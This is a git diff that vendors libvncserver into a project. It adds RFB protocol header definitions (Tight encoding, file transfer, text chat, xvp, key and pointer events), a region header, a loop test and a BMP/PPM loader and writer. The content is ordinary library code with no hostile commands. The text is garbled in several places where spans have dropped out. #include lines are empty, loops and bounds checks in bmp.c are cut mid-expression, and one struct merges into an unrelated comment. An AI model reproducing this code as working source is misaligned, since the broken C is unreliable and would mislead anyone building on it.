is compactly represented in one, two or three bytes, according + * to the following scheme: + * + * 0xxxxxxx (for values 0..127) + * 1xxxxxxx 0yyyyyyy (for values 128..16383) + * 1xxxxxxx 1yyyyyyy zzzzzzzz (for values 16384..4194303) + * + * Here each character denotes one bit, xxxxxxx are the least significant 7 + * bits of the value (bits 0-6), yyyyyyy are bits 7-13, and zzzzzzzz are the + * most significant 8 bits (bits 14-21). For example, decimal value 10000 + * should be represented as two bytes: binary 10010000 01001110, or + * hexadecimal 90 4E. + * + *-- If the compression type is "basic" and bit 6 of the compression control + * byte was set to 1, then the next (second) byte specifies "filter id" which + * tells the decoder what filter type was used by the encoder to pre-process + * pixel data before the compression. The "filter id" byte can be one of the + * following: + * + * 0: no filter ("copy" filter); + * 1: "palette" filter; + * 2: "gradient" filter. + * + *-- If bit 6 of the compression control byte is set to 0 (no "filter id" + * byte), or if the filter id is 0, then raw pixel values in the client + * format (see NOTE 1) will be compressed. See below details on the + * compression. + * + *-- The "gradient" filter pre-processes pixel data with a simple algorithm + * which converts each color component to a difference between a "predicted" + * intensity and the actual intensity. Such a technique does not affect + * uncompressed data size, but helps to compress photo-like images better. + * Pseudo-code for converting intensities to differences is the following: + * + * P[i,j] := V[i-1,j] + V[i,j-1] - V[i-1,j-1]; + * if (P[i,j] < 0) then P[i,j] := 0; + * if (P[i,j] > MAX) then P[i,j] := MAX; + * D[i,j] := V[i,j] - P[i,j]; + * + * Here V[i,j] is the intensity of a color component for a pixel at + * coordinates (i,j). MAX is the maximum value of intensity for a color + * component. + * + *-- The "palette" filter converts true-color pixel data to indexed colors + * and a palette which can consist of 2..256 colors. If the number of colors + * is 2, then each pixel is encoded in 1 bit, otherwise 8 bits is used to + * encode one pixel. 1-bit encoding is performed such way that the most + * significant bits correspond to the leftmost pixels, and each raw of pixels + * is aligned to the byte boundary. When "palette" filter is used, the + * palette is sent before the pixel data. The palette begins with an unsigned + * byte which value is the number of colors in the palette minus 1 (i.e. 1 + * means 2 colors, 255 means 256 colors in the palette). Then follows the + * palette itself which consist of pixel values in client pixel format (see + * NOTE 1). + * + *-- The pixel data is compressed using the zlib library. But if the data + * size after applying the filter but before the compression is less then 12, + * then the data is sent as is, uncompressed. Four separate zlib streams + * (0..3) can be used and the decoder should read the actual stream id from + * the compression control byte (see NOTE 2). + * + * If the compression is not used, then the pixel data is sent as is, + * otherwise the data stream looks like this: + * + * 1..3 bytes: data size (N) in compact representation; + * N bytes: zlib-compressed data. + * + * Data size is compactly represented in one, two or three bytes, just like + * in the "jpeg" compression method (see above). + * + *-- NOTE 1. If the color depth is 24, and all three color components are + * 8-bit wide, then one pixel in Tight encoding is always represented by + * three bytes, where the first byte is red component, the second byte is + * green component, and the third byte is blue component of the pixel color + * value. This applies to colors in palettes as well. + * + *-- NOTE 2. The decoder must reset compression streams' states before + * decoding the rectangle, if some of bits 0,1,2,3 in the compression control + * byte are set to 1. Note that the decoder must reset zlib streams even if + * the compression type is "fill", "jpeg" or "png". + * + *-- NOTE 3. The "gradient" filter and "jpeg" compression may be used only + * when bits-per-pixel value is either 16 or 32, not 8. + * + *-- NOTE 4. The width of any Tight-encoded rectangle cannot exceed 2048 + * pixels. If a rectangle is wider, it must be split into several rectangles + * and each one should be encoded separately. + * + */ + +#define rfbTightExplicitFilter 0x04 +#define rfbTightFill 0x08 +#define rfbTightJpeg 0x09 +#define rfbTightNoZlib 0x0A +#define rfbTightPng 0x0A +#define rfbTightMaxSubencoding 0x0A + +/* Filters to improve compression efficiency */ +#define rfbTightFilterCopy 0x00 +#define rfbTightFilterPalette 0x01 +#define rfbTightFilterGradient 0x02 + +#endif + +/*- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + * XCursor encoding. This is a special encoding used to transmit X-style + * cursor shapes from server to clients. Note that for this encoding, + * coordinates in rfbFramebufferUpdateRectHeader structure hold hotspot + * position (r.x, r.y) and cursor size (r.w, r.h). If (w * h != 0), two RGB + * samples are sent after header in the rfbXCursorColors structure. They + * denote foreground and background colors of the cursor. If a client + * supports only black-and-white cursors, it should ignore these colors and + * assume that foreground is black and background is white. Next, two bitmaps + * (1 bits per pixel) follow: first one with actual data (value 0 denotes + * background color, value 1 denotes foreground color), second one with + * transparency data (bits with zero value mean that these pixels are + * transparent). Both bitmaps represent cursor data in a byte stream, from + * left to right, from top to bottom, and each row is byte-aligned. Most + * significant bits correspond to leftmost pixels. The number of bytes in + * each row can be calculated as ((w + 7) / 8). If (w * h == 0), cursor + * should be hidden (or default local cursor should be set by the client). + */ + +typedef struct { + uint8_t foreRed; + uint8_t foreGreen; + uint8_t foreBlue; + uint8_t backRed; + uint8_t backGreen; + uint8_t backBlue; +} rfbXCursorColors; + +#define sz_rfbXCursorColors 6 + + +/*- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + * RichCursor encoding. This is a special encoding used to transmit cursor + * shapes from server to clients. It is similar to the XCursor encoding but + * uses client pixel format instead of two RGB colors to represent cursor + * image. For this encoding, coordinates in rfbFramebufferUpdateRectHeader + * structure hold hotspot position (r.x, r.y) and cursor size (r.w, r.h). + * After header, two pixmaps follow: first one with cursor image in current + * client pixel format (like in raw encoding), second with transparency data + * (1 bit per pixel, exactly the same format as used for transparency bitmap + * in the XCursor encoding). If (w * h == 0), cursor should be hidden (or + * default local cursor should be set by the client). + */ + + +/*- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + * ZRLE - encoding combining Zlib compression, tiling, palettisation and + * run-length encoding. + */ + +typedef struct { + uint32_t length; +} rfbZRLEHeader; + +#define sz_rfbZRLEHeader 4 + +#define rfbZRLETileWidth 64 +#define rfbZRLETileHeight 64 + + +/*- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + * ZLIBHEX - zlib compressed Hextile Encoding. Essentially, this is the + * hextile encoding with zlib compression on the tiles that can not be + * efficiently encoded with one of the other hextile subencodings. The + * new zlib subencoding uses two bytes to specify the length of the + * compressed tile and then the compressed data follows. As with the + * raw sub-encoding, the zlib subencoding invalidates the other + * values, if they are also set. + */ + +#define rfbHextileZlibRaw (1 << 5) +#define rfbHextileZlibHex (1 << 6) +#define rfbHextileZlibMono (1 << 7) + + +/*----------------------------------------------------------------------------- + * SetColourMapEntries - these messages are only sent if the pixel + * format uses a "colour map" (i.e. trueColour false) and the client has not + * fixed the entire colour map using FixColourMapEntries. In addition they + * will only start being sent after the client has sent its first + * FramebufferUpdateRequest. So if the client always tells the server to use + * trueColour then it never needs to process this type of message. + */ + +typedef struct { + uint8_t type; /* always rfbSetColourMapEntries */ + uint8_t pad; + uint16_t firstColour; + uint16_t nColours; + + /* Followed by nColours * 3 * uint16_t + r1, g1, b1, r2, g2, b2, r3, g3, b3, ..., rn, bn, gn */ + +} rfbSetColourMapEntriesMsg; + +#define sz_rfbSetColourMapEntriesMsg 6 + + + +/*----------------------------------------------------------------------------- + * Bell - ring a bell on the client if it has one. + */ + +typedef struct { + uint8_t type; /* always rfbBell */ +} rfbBellMsg; + +#define sz_rfbBellMsg 1 + + + +/*----------------------------------------------------------------------------- + * ServerCutText - the server has new text in its cut buffer. + */ + +typedef struct { + uint8_t type; /* always rfbServerCutText */ + uint8_t pad1; + uint16_t pad2; + uint32_t length; + /* followed by char text[length] */ +} rfbServerCutTextMsg; + +#define sz_rfbServerCutTextMsg 8 + + +/*----------------------------------------------------------------------------- + * // Modif sf@2002 + * FileTransferMsg - The client sends FileTransfer message. + * Bidirectional message - Files can be sent from client to server & vice versa + */ + +typedef struct _rfbFileTransferMsg { + uint8_t type; /* always rfbFileTransfer */ + uint8_t contentType; /* See defines below */ + uint8_t contentParam;/* Other possible content classification (Dir or File name, etc..) */ + uint8_t pad; /* It appears that UltraVNC *forgot* to Swap16IfLE(contentParam) */ + uint32_t size; /* FileSize or packet index or error or other */ +/* uint32_t sizeH; Additional 32Bits params to handle big values. Only for V2 (we want backward compatibility between all V1 versions) */ + uint32_t length; + /* followed by data char text[length] */ +} rfbFileTransferMsg; + +#define sz_rfbFileTransferMsg 12 + +#define rfbFileTransferVersion 2 /* v1 is the old FT version ( <= 1.0.0 RC18 versions) */ + +/* FileTransfer Content types and Params defines */ +#define rfbDirContentRequest 1 /* Client asks for the content of a given Server directory */ +#define rfbDirPacket 2 /* Full directory name or full file name. */ + /* Null content means end of Directory */ +#define rfbFileTransferRequest 3 /* Client asks the server for the transfer of a given file */ +#define rfbFileHeader 4 /* First packet of a file transfer, containing file's features */ +#define rfbFilePacket 5 /* One chunk of the file */ +#define rfbEndOfFile 6 /* End of file transfer (the file has been received or error) */ +#define rfbAbortFileTransfer 7 /* The file transfer must be aborted, whatever the state */ +#define rfbFileTransferOffer 8 /* The client offers to send a file to the server */ +#define rfbFileAcceptHeader 9 /* The server accepts or rejects the file */ +#define rfbCommand 10 /* The Client sends a simple command (File Delete, Dir create etc...) */ +#define rfbCommandReturn 11 /* The Client receives the server's answer about a simple command */ +#define rfbFileChecksums 12 /* The zipped checksums of the destination file (Delta Transfer) */ +#define rfbFileTransferAccess 14 /* Request FileTransfer authorization */ + + /* rfbDirContentRequest client Request - content params */ +#define rfbRDirContent 1 /* Request a Server Directory contents */ +#define rfbRDrivesList 2 /* Request the server's drives list */ +#define rfbRDirRecursiveList 3 /* Request a server directory content recursive sorted list */ +#define rfbRDirRecursiveSize 4 /* Request a server directory content recursive size */ + + /* rfbDirPacket & rfbCommandReturn server Answer - content params */ +#define rfbADirectory 1 /* Reception of a directory name */ +#define rfbAFile 2 /* Reception of a file name */ +#define rfbADrivesList 3 /* Reception of a list of drives */ +#define rfbADirCreate 4 /* Response to a create dir command */ +#define rfbADirDelete 5 /* Response to a delete dir command */ +#define rfbAFileCreate 6 /* Response to a create file command */ +#define rfbAFileDelete 7 /* Response to a delete file command */ +#define rfbAFileRename 8 /* Response to a rename file command */ +#define rfbADirRename 9 /* Response to a rename dir command */ +#define rfbADirRecursiveListItem 10 +#define rfbADirRecursiveSize 11 + + /* rfbCommand Command - content params */ +#define rfbCDirCreate 1 /* Request the server to create the given directory */ +#define rfbCDirDelete 2 /* Request the server to delete the given directory */ +#define rfbCFileCreate 3 /* Request the server to create the given file */ +#define rfbCFileDelete 4 /* Request the server to delete the given file */ +#define rfbCFileRename 5 /* Request the server to rename the given file */ +#define rfbCDirRename 6 /* Request the server to rename the given directory */ + + /* Errors - content params or "size" field */ +#define rfbRErrorUnknownCmd 1 /* Unknown FileTransfer command. */ +#define rfbRErrorCmd 0xFFFFFFFF/* Error when a command fails on remote side (ret in "size" field) */ + +#define sz_rfbBlockSize 8192 /* Size of a File Transfer packet (before compression) */ +#define rfbZipDirectoryPrefix "!UVNCDIR-\0" /* Transferred directory are zipped in a file with this prefix. Must end with "-" */ +#define sz_rfbZipDirectoryPrefix 9 +#define rfbDirPrefix "[ " +#define rfbDirSuffix " ]" + + + +/*----------------------------------------------------------------------------- + * Modif sf@2002 + * TextChatMsg - Utilized to order the TextChat mode on server or client + * Bidirectional message + */ + +typedef struct _rfbTextChatMsg { + uint8_t type; /* always rfbTextChat */ + uint8_t pad1; /* Could be used later as an additionnal param */ + uint16_t pad2; /* Could be used later as text offset, for instance */ + uint32_t length; /* Specific values for Open, close, finished (-1, -2, -3) */ + /* followed by char text[length] */ +} rfbTextChatMsg; + +#define sz_rfbTextChatMsg 8 + +#define rfbTextMaxSize 4096 +#define rfbTextChatOpen 0xFFFFFFFF +#define rfbTextChatClose 0xFFFFFFFE +#define rfbTextChatFinished 0xFFFFFFFD + + +/*----------------------------------------------------------------------------- + * Xvp Message + * Bidirectional message + * A server which supports the xvp extension declares this by sending a message + * with an Xvp_INIT xvp-message-code when it receives a request from the client + * to use the xvp Pseudo-encoding. The server must specify in this message the + * highest xvp-extension-version it supports: the client may assume that the + * server supports all versions from 1 up to this value. The client is then + * free to use any supported version. Currently, only version 1 is defined. + * + * A server which subsequently receives an xvp Client Message requesting an + * operation which it is unable to perform, informs the client of this by + * sending a message with an Xvp_FAIL xvp-message-code, and the same + * xvp-extension-version as included in the client's operation request. + * + * A client supporting the xvp extension sends this to request that the server + * initiate a clean shutdown, clean reboot or abrupt reset of the system whose + * framebuffer the client is displaying. + */ + + +typedef struct { + uint8_t type; /* always rfbXvp */ + uint8_t pad; + uint8_t version; /* xvp extension version */ + uint8_t code; /* xvp message code */ +} rfbXvpMsg; + +#define sz_rfbXvpMsg (4) + +/* server message codes */ +#define rfbXvp_Fail 0 +#define rfbXvp_Init 1 +/* client message codes */ +#define rfbXvp_Shutdown 2 +#define rfbXvp_Reboot 3 +#define rfbXvp_Reset 4 + + +/*----------------------------------------------------------------------------- + * Modif sf@2002 + * ResizeFrameBuffer - The Client must change the size of its framebuffer + */ + +typedef struct _rfbResizeFrameBufferMsg { + uint8_t type; /* always rfbResizeFrameBuffer */ + uint8_t pad1; + uint16_t framebufferWidth; /* FrameBuffer width */ + uint16_t framebufferHeigth; /* FrameBuffer height */ +} rfbResizeFrameBufferMsg; + +#define sz_rfbResizeFrameBufferMsg 6 + + +/*----------------------------------------------------------------------------- + * Copyright (C) 2001 Harakan Software + * PalmVNC 1.4 & 2.? ResizeFrameBuffer message + * ReSizeFrameBuffer - tell the RFB client to alter its framebuffer, either + * due to a resize of the server desktop or a client-requested scaling factor. + * The pixel format remains unchanged. + */ + +typedef struct { + uint8_t type; /* always rfbReSizeFrameBuffer */ + uint8_t pad1; + uint16_t desktop_w; /* Desktop width */ + uint16_t desktop_h; /* Desktop height */ + uint16_t buffer_w; /* FrameBuffer width */ + uint16_t buffer_h; /* Framebuffer height */ + uint16_t pad2; + +} rfbPalmVNCReSizeFrameBufferMsg; + +#define sz_rfbPalmVNCReSizeFrameBufferMsg (12) + + + + +/*----------------------------------------------------------------------------- + * Union of all server->client messages. + */ + +typedef union { + uint8_t type; + rfbFramebufferUpdateMsg fu; + rfbSetColourMapEntriesMsg scme; + rfbBellMsg b; + rfbServerCutTextMsg sct; + rfbResizeFrameBufferMsg rsfb; + rfbPalmVNCReSizeFrameBufferMsg prsfb; + rfbFileTransferMsg ft; + rfbTextChatMsg tc; + rfbXvpMsg xvp; +} rfbServerToClientMsg; + + + +/*- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + * RDV Cache Encoding. + * special is not used at this point, can be used to reset cache or other specials + * just put it to make sure we don't have to change the encoding again. + */ + +typedef struct { + uint16_t special; +} rfbCacheRect; + +#define sz_rfbCacheRect 2 + + + + +/***************************************************************************** + * + * Message definitions (client -> server) + * + *****************************************************************************/ + + +/*----------------------------------------------------------------------------- + * SetPixelFormat - tell the RFB server the format in which the client wants + * pixels sent. + */ + +typedef struct { + uint8_t type; /* always rfbSetPixelFormat */ + uint8_t pad1; + uint16_t pad2; + rfbPixelFormat format; +} rfbSetPixelFormatMsg; + +#define sz_rfbSetPixelFormatMsg (sz_rfbPixelFormat + 4) + + +/*----------------------------------------------------------------------------- + * FixColourMapEntries - when the pixel format uses a "colour map", fix + * read-only colour map entries. + * + * ***************** NOT CURRENTLY SUPPORTED ***************** + */ + +typedef struct { + uint8_t type; /* always rfbFixColourMapEntries */ + uint8_t pad; + uint16_t firstColour; + uint16_t nColours; + + /* Followed by nColours * 3 * uint16_t + r1, g1, b1, r2, g2, b2, r3, g3, b3, ..., rn, bn, gn */ + +} rfbFixColourMapEntriesMsg; + +#define sz_rfbFixColourMapEntriesMsg 6 + + +/*----------------------------------------------------------------------------- + * SetEncodings - tell the RFB server which encoding types we accept. Put them + * in order of preference, if we have any. We may always receive raw + * encoding, even if we don't specify it here. + */ + +typedef struct { + uint8_t type; /* always rfbSetEncodings */ + uint8_t pad; + uint16_t nEncodings; + /* followed by nEncodings * uint32_t encoding types */ +} rfbSetEncodingsMsg; + +#define sz_rfbSetEncodingsMsg 4 + + +/*----------------------------------------------------------------------------- + * FramebufferUpdateRequest - request for a framebuffer update. If incremental + * is true then the client just wants the changes since the last update. If + * false then it wants the whole of the specified rectangle. + */ + +typedef struct { + uint8_t type; /* always rfbFramebufferUpdateRequest */ + uint8_t incremental; + uint16_t x; + uint16_t y; + uint16_t w; + uint16_t h; +} rfbFramebufferUpdateRequestMsg; + +#define sz_rfbFramebufferUpdateRequestMsg 10 + + +/*----------------------------------------------------------------------------- + * KeyEvent - key press or release + * + * Keys are specified using the "keysym" values defined by the X Window System. + * For most ordinary keys, the keysym is the same as the corresponding ASCII + * value. Other common keys are: + * + * BackSpace 0xff08 + * Tab 0xff09 + * Return or Enter 0xff0d + * Escape 0xff1b + * Insert 0xff63 + * Delete 0xffff + * Home 0xff50 + * End 0xff57 + * Page Up 0xff55 + * Page Down 0xff56 + * Left 0xff51 + * Up 0xff52 + * Right 0xff53 + * Down 0xff54 + * F1 0xffbe + * F2 0xffbf + * ... ... + * F12 0xffc9 + * Shift 0xffe1 + * Control 0xffe3 + * Meta 0xffe7 + * Alt 0xffe9 + */ + +typedef struct { + uint8_t type; /* always rfbKeyEvent */ + uint8_t down; /* true if down (press), false if up */ + uint16_t pad; + uint32_t key; /* key is specified as an X keysym */ +} rfbKeyEventMsg; + +#define sz_rfbKeyEventMsg 8 + + +/*----------------------------------------------------------------------------- + * PointerEvent - mouse/pen move and/or button press. + */ + +typedef struct { + uint8_t type; /* always rfbPointerEvent */ + uint8_t buttonMask; /* bits 0-7 are buttons 1-8, 0=up, 1=down */ + uint16_t x; + uint16_t y; +} rfbPointerEventMsg; + +#define rfbButton1Mask 1 +#define rfbButton2Mask 2 +#define rfbButton3Mask 4 +#define rfbButton4Mask 8 +#define rfbButton5Mask 16 +/* RealVNC 335 method */ +#define rfbWheelUpMask rfbButton4Mask +#define rfbWheelDownMask rfbButton5Mask + +#define sz_rfbPointerEventMsg 6 + + + +/*----------------------------------------------------------------------------- + * ClientCutText - the client has new text in its cut buffer. + */ + +typedef struct { + uint8_t type; /* always rfbClientCutText */ + uint8_t pad1; + uint16_t pad2; + uint32_t length; + /* followed by char text[length] */ +} rfbClientCutTextMsg; + +#define sz_rfbClientCutTextMsg 8 + + + +/*----------------------------------------------------------------------------- + * sf@2002 - Set Server Scale + * SetServerScale - Server must change the scale of the client buffer. + */ + +typedef struct _rfbSetScaleMsg { + uint8_t type; /* always rfbSetScale */ + uint8_t scale; /* Scale value 1server messages. + */ + +typedef union { + uint8_t type; + rfbSetPixelFormatMsg spf; + rfbFixColourMapEntriesMsg fcme; + rfbSetEncodingsMsg se; + rfbFramebufferUpdateRequestMsg fur; + rfbKeyEventMsg ke; + rfbPointerEventMsg pe; + rfbClientCutTextMsg cct; + rfbSetScaleMsg ssc; + rfbPalmVNCSetScaleFactorMsg pssf; + rfbSetServerInputMsg sim; + rfbFileTransferMsg ft; + rfbSetSWMsg sw; + rfbTextChatMsg tc; + rfbXvpMsg xvp; +} rfbClientToServerMsg; + +/* + * vncauth.h - describes the functions provided by the vncauth library. + */ + +#define MAXPWLEN 8 +#define CHALLENGESIZE 16 + +extern int rfbEncryptAndStorePasswd(char *passwd, char *fname); +extern char *rfbDecryptPasswdFromFile(char *fname); +extern void rfbRandomBytes(unsigned char *bytes); +extern void rfbEncryptBytes(unsigned char *bytes, char *passwd); + + +#endif diff --git a/3rdparty/libvncserver/rfb/rfbregion.h b/3rdparty/libvncserver/rfb/rfbregion.h new file mode 100644 index 0000000..53da667 --- /dev/null +++ b/3rdparty/libvncserver/rfb/rfbregion.h @@ -0,0 +1,65 @@ +#ifndef SRAREGION_H +#define SRAREGION_H + +/* -=- SRA - Simple Region Algorithm + * A simple rectangular region implementation. + * Copyright (c) 2001 James "Wez" Weatherall, Johannes E. Schindelin + */ + +/* -=- sraRect */ + +typedef struct _rect { + int x1; + int y1; + int x2; + int y2; +} sraRect; + +typedef struct sraRegion sraRegion; + +/* -=- Region manipulation functions */ + +extern sraRegion *sraRgnCreate(); +extern sraRegion *sraRgnCreateRect(int x1, int y1, int x2, int y2); +extern sraRegion *sraRgnCreateRgn(const sraRegion *src); + +extern void sraRgnDestroy(sraRegion *rgn); +extern void sraRgnMakeEmpty(sraRegion *rgn); +extern rfbBool sraRgnAnd(sraRegion *dst, const sraRegion *src); +extern void sraRgnOr(sraRegion *dst, const sraRegion *src); +extern rfbBool sraRgnSubtract(sraRegion *dst, const sraRegion *src); + +extern void sraRgnOffset(sraRegion *dst, int dx, int dy); + +extern rfbBool sraRgnPopRect(sraRegion *region, sraRect *rect, + unsigned long flags); + +extern unsigned long sraRgnCountRects(const sraRegion *rgn); +extern rfbBool sraRgnEmpty(const sraRegion *rgn); + +extern sraRegion *sraRgnBBox(const sraRegion *src); + +/* -=- rectangle iterator */ + +typedef struct sraRectangleIterator { + rfbBool reverseX,reverseY; + int ptrSize,ptrPos; + struct sraSpan** sPtrs; +} sraRectangleIterator; + +extern sraRectangleIterator *sraRgnGetIterator(sraRegion *s); +extern sraRectangleIterator *sraRgnGetReverseIterator(sraRegion *s,rfbBool reverseX,rfbBool reverseY); +extern rfbBool sraRgnIteratorNext(sraRectangleIterator *i,sraRect *r); +extern void sraRgnReleaseIterator(sraRectangleIterator *i); + +void sraRgnPrint(const sraRegion *s); + +/* -=- Rectangle clipper (for speed) */ + +extern rfbBool sraClipRect(int *x, int *y, int *w, int *h, + int cx, int cy, int cw, int ch); + +extern rfbBool sraClipRect2(int *x, int *y, int *x2, int *y2, + int cx, int cy, int cx2, int cy2); + +#endif diff --git a/3rdparty/libvncserver/test/blooptest.c b/3rdparty/libvncserver/test/blooptest.c new file mode 100644 index 0000000..a2661e8 --- /dev/null +++ b/3rdparty/libvncserver/test/blooptest.c @@ -0,0 +1,2 @@ +#define BACKGROUND_LOOP_TEST +#include "../examples/example.c" diff --git a/3rdparty/libvncserver/test/bmp.c b/3rdparty/libvncserver/test/bmp.c new file mode 100644 index 0000000..7dcbf13 --- /dev/null +++ b/3rdparty/libvncserver/test/bmp.c @@ -0,0 +1,389 @@ +/* Copyright (C)2004 Landmark Graphics Corporation + * Copyright (C)2005 Sun Microsystems, Inc. + * Copyright (C)2010, 2012 D. R. Commander + * + * This library is free software and may be redistributed and/or modified under + * the terms of the wxWindows Library License, Version 3.1 or (at your option) + * any later version. The full license is in the LICENSE.txt file included + * with this distribution. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * wxWindows Library License for more details. +*/ + +#include +#include +#include +#include +#include +#include +#include +#ifdef _WIN32 + #include +#else + #include +#endif +#include "./tjutil.h" +#include "./bmp.h" + +#define byteswap(i) ( \ + (((i) & 0xff000000) >> 24) | \ + (((i) & 0x00ff0000) >> 8) | \ + (((i) & 0x0000ff00) << 8) | \ + (((i) & 0x000000ff) << 24) ) + +#define byteswap16(i) ( \ + (((i) & 0xff00) >> 8) | \ + (((i) & 0x00ff) << 8) ) + +static __inline int littleendian(void) +{ + unsigned int value=1; + unsigned char *ptr=(unsigned char *)(&value); + if(ptr[0]==1 && ptr[3]==0) return 1; + else return 0; +} + +#ifndef BI_BITFIELDS +#define BI_BITFIELDS 3L +#endif +#ifndef BI_RGB +#define BI_RGB 0L +#endif + +#define BMPHDRSIZE 54 +typedef struct _bmphdr +{ + unsigned short bfType; + unsigned int bfSize; + unsigned short bfReserved1, bfReserved2; + unsigned int bfOffBits; + + unsigned int biSize; + int biWidth, biHeight; + unsigned short biPlanes, biBitCount; + unsigned int biCompression, biSizeImage; + int biXPelsPerMeter, biYPelsPerMeter; + unsigned int biClrUsed, biClrImportant; +} bmphdr; + +static const char *__bmperr="No error"; + +static const int ps[BMPPIXELFORMATS]={3, 4, 3, 4, 4, 4}; +static const int roffset[BMPPIXELFORMATS]={0, 0, 2, 2, 3, 1}; +static const int goffset[BMPPIXELFORMATS]={1, 1, 1, 1, 2, 2}; +static const int boffset[BMPPIXELFORMATS]={2, 2, 0, 0, 1, 3}; + +#define _throw(m) {__bmperr=m; retcode=-1; goto finally;} +#define _unix(f) {if((f)==-1) _throw(strerror(errno));} +#define _catch(f) {if((f)==-1) {retcode=-1; goto finally;}} + +#define readme(fd, addr, size) \ + if((bytesread=read(fd, addr, (size)))==-1) _throw(strerror(errno)); \ + if(bytesread!=(size)) _throw("Read error"); + +void pixelconvert(unsigned char *srcbuf, enum BMPPIXELFORMAT srcformat, + int srcpitch, unsigned char *dstbuf, enum BMPPIXELFORMAT dstformat, int dstpitch, + int w, int h, int flip) +{ + unsigned char *srcptr, *srcptr0, *dstptr, *dstptr0; + int i, j; + + srcptr=flip? &srcbuf[srcpitch*(h-1)]:srcbuf; + for(j=0, dstptr=dstbuf; jBMPPIXELFORMATS-1 || align<1) + _throw("invalid argument to loadbmp()"); + if((align&(align-1))!=0) + _throw("Alignment must be a power of 2"); + _unix(fd=open(filename, flags)); + + readme(fd, &bh.bfType, sizeof(unsigned short)); + if(!littleendian()) bh.bfType=byteswap16(bh.bfType); + + if(bh.bfType==0x3650) + { + _catch(loadppm(&fd, buf, w, h, f, align, dstbottomup, 0)); + goto finally; + } + if(bh.bfType==0x3350) + { + _catch(loadppm(&fd, buf, w, h, f, align, dstbottomup, 1)); + goto finally; + } + + readme(fd, &bh.bfSize, sizeof(unsigned int)); + readme(fd, &bh.bfReserved1, sizeof(unsigned short)); + readme(fd, &bh.bfReserved2, sizeof(unsigned short)); + readme(fd, &bh.bfOffBits, sizeof(unsigned int)); + readme(fd, &bh.biSize, sizeof(unsigned int)); + readme(fd, &bh.biWidth, sizeof(int)); + readme(fd, &bh.biHeight, sizeof(int)); + readme(fd, &bh.biPlanes, sizeof(unsigned short)); + readme(fd, &bh.biBitCount, sizeof(unsigned short)); + readme(fd, &bh.biCompression, sizeof(unsigned int)); + readme(fd, &bh.biSizeImage, sizeof(unsigned int)); + readme(fd, &bh.biXPelsPerMeter, sizeof(int)); + readme(fd, &bh.biYPelsPerMeter, sizeof(int)); + readme(fd, &bh.biClrUsed, sizeof(unsigned int)); + readme(fd, &bh.biClrImportant, sizeof(unsigned int)); + + if(!littleendian()) + { + bh.bfSize=byteswap(bh.bfSize); + bh.bfOffBits=byteswap(bh.bfOffBits); + bh.biSize=byteswap(bh.biSize); + bh.biWidth=byteswap(bh.biWidth); + bh.biHeight=byteswap(bh.biHeight); + bh.biPlanes=byteswap16(bh.biPlanes); + bh.biBitCount=byteswap16(bh.biBitCount); + bh.biCompression=byteswap(bh.biCompression); + bh.biSizeImage=byteswap(bh.biSizeImage); + bh.biXPelsPerMeter=byteswap(bh.biXPelsPerMeter); + bh.biYPelsPerMeter=byteswap(bh.biYPelsPerMeter); + bh.biClrUsed=byteswap(bh.biClrUsed); + bh.biClrImportant=byteswap(bh.biClrImportant); + } + + if(bh.bfType!=0x4d42 || bh.bfOffBitsBMPPIXELFORMATS-1 || srcpitch<0) + _throw("bad argument to savebmp()"); + + if(srcpitch==0) srcpitch=w*ps[f]; + + if((temp=strrchr(filename, '.'))!=NULL) + { + if(!strcasecmp(temp, ".ppm")) + return saveppm(filename, buf, w, h, f, srcpitch, srcbottomup); + } + + _unix(fd=open(filename, flags, mode)); + dstpitch=((w*3)+3)&(~3); + + bh.bfType=0x4d42; + bh.bfSize=BMPHDRSIZE+dstpitch*h; + bh.bfReserved1=0; bh.bfReserved2=0; + bh.bfOffBits=BMPHDRSIZE; + bh.biSize=40; + bh.biWidth=w; bh.biHeight=h; + bh.biPlanes=0; bh.biBitCount=24; + bh.biCompression=BI_RGB; bh.biSizeImage=0; + bh.biXPelsPerMeter=0; bh.biYPelsPerMeter=0; + bh.biClrUsed=0; bh.biClrImportant=0; + + if(!littleendian()) + { + bh.bfType=byteswap16(bh.bfType); + bh.bfSize=byteswap(bh.bfSize); + bh.bfOffBits=byteswap(bh.bfOffBits); + bh.biSize=byteswap(bh.biSize); + bh.biWidth=byteswap(bh.biWidth); + bh.biHeight=byteswap(bh.biHeight); + bh.biPlanes=byteswap16(bh.biPlanes); + bh.biBitCount=byteswap16(bh.biBitCount); + bh.biCompression=byteswap(bh.biCompression); + bh.biSizeImage=byteswap(bh.biSizeImage); + bh.biXPelsPerMeter=byteswap(bh.biXPelsPerMeter); + bh.biYPelsPerMeter=byteswap(bh.biYPelsPerMeter); + bh.biClrUsed=byteswap(bh.biClrUsed); + bh.biClrImportant=byteswap(bh.biClrImportant); + } + + writeme(fd, &bh.bfType, sizeof(unsigned short)); + writeme(fd, &bh.bfSize, sizeof(unsigned int)); + writeme(fd, &bh.bfReserved1, sizeof(unsigned short)); + writeme(fd, &bh.bfReserved2, sizeof(unsigned short)); + writeme(fd, &bh.bfOffBits, sizeof(unsigned int)); + writeme(fd, &bh.biSize, sizeof(unsigned int)); + writeme(fd, &bh.biWidth, sizeof(int)); + writeme(fd, &bh.biHeight, sizeof(int)); + writeme(fd, &bh.biPlanes, sizeof(unsigned short)); + writeme(fd, &bh.biBitCount, sizeof(unsigned short)); + writeme(fd, &bh.biCompression, sizeof(unsigned int)); + writeme(fd, &bh.biSizeImage, sizeof(unsigned int)); + writeme(fd, &bh.biXPelsPerMeter, sizeof(int)); + writeme(fd, &bh.biYPelsPerMeter, sizeof(int)); + writeme(fd, &bh.biClrUsed, sizeof(unsigned int)); + writeme(fd, &bh.biClrImportant, sizeof(unsigned int)); + + if((tempbuf=(unsigned char *)malloc(dstpitch*h))==NULL) + _throw("Memory allocation error"); + + pixelconvert(buf, f, srcpitch, tempbuf, BMP_BGR, dstpitch, w, h, + !srcbottomup); + + if((byteswritten=write(fd, tempbuf, dstpitch*h))!=dstpitch*h) + _throw(strerror(errno)); + + finally: + if(tempbuf) free(tempbuf); + if(fd!=-1) close(fd); + return retcode; +} + +const char *bmpgeterr(void) +{ + return __bmperr; +} diff --git a/3rdparty/libvncserver/test/bmp.h 